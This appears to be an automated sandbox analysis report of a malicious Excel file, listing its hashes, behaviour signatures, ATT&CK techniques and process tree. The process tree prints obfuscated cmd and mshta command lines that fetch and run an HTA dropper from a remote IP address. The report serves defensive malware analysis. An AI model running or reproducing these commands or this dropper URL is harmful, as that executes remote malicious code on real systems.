408207e92d5af4e23d3f3ee317a5ce4479a78b05e06cceec69bb3e16c7f69d2f

Analysis

max time kernel
121s
max time network
127s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
20-11-2024 15:47

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General

Target

408207e92d5af4e23d3f3ee317a5ce4479a78b05e06cceec69bb3e16c7f69d2f.xls
Size

64KB
MD5

437d0d50a1f872351b647c0d83ea14c9
SHA1

a95eda99cc563c281798f2db41b741f22078cdcb
SHA256

408207e92d5af4e23d3f3ee317a5ce4479a78b05e06cceec69bb3e16c7f69d2f
SHA512

4ab5fd3e34474a31d28179cad4d95413954706891e875180077d4033b2d359206bfc6efb8cf0209ed55da7cdd98d26cd62dea3f8773561761966afd8faf63299
SSDEEP

1536:8URk3hbdlylKsgqopeJBWhZFGkE+cL2NdAKNzMk9B+oo1zMk9A+oos:8Mk3hbdlylKsgqopeJBWhZFGkE+cL2N0

Score

10^/10

discovery

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://87.251.86.178/pp/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process	2708	3036	cmd.exe	29

Blocklisted process makes network request 2 IoCs

flow	pid	Process
3	2796	mshta.exe
5	2796	mshta.exe

System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe

Enumerates system info in registry 2 TTPs 1 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor	EXCEL.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
3036	EXCEL.EXE

Suspicious use of SetWindowsHookEx 3 IoCs

pid	Process
3036	EXCEL.EXE
3036	EXCEL.EXE
3036	EXCEL.EXE

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3036 wrote to memory of 2708	3036	EXCEL.EXE	30
PID 3036 wrote to memory of 2708	3036	EXCEL.EXE	30
PID 3036 wrote to memory of 2708	3036	EXCEL.EXE	30
PID 3036 wrote to memory of 2708	3036	EXCEL.EXE	30
PID 2708 wrote to memory of 2796	2708	cmd.exe	32
PID 2708 wrote to memory of 2796	2708	cmd.exe	32
PID 2708 wrote to memory of 2796	2708	cmd.exe	32
PID 2708 wrote to memory of 2796	2708	cmd.exe	32

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\408207e92d5af4e23d3f3ee317a5ce4479a78b05e06cceec69bb3e16c7f69d2f.xls
1⤵
- System Location Discovery: System Language Discovery
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:3036
- C:\Windows\SysWOW64\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/87.251.86.178/pp/cc.html
  2⤵
  - Process spawned unexpected child process
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2708
- - C:\Windows\SysWOW64\mshta.exe
    mshta http://87.251.86.178/pp/cc.html
    3⤵
    - Blocklisted process makes network request
    - System Location Discovery: System Language Discovery
    - Modifies Internet Explorer settings
    PID:2796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3036-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/3036-1-0x000000007289D000-0x00000000728A8000-memory.dmp

Filesize
44KB

Download
memory/3036-11-0x000000007289D000-0x00000000728A8000-memory.dmp

Filesize
44KB

Download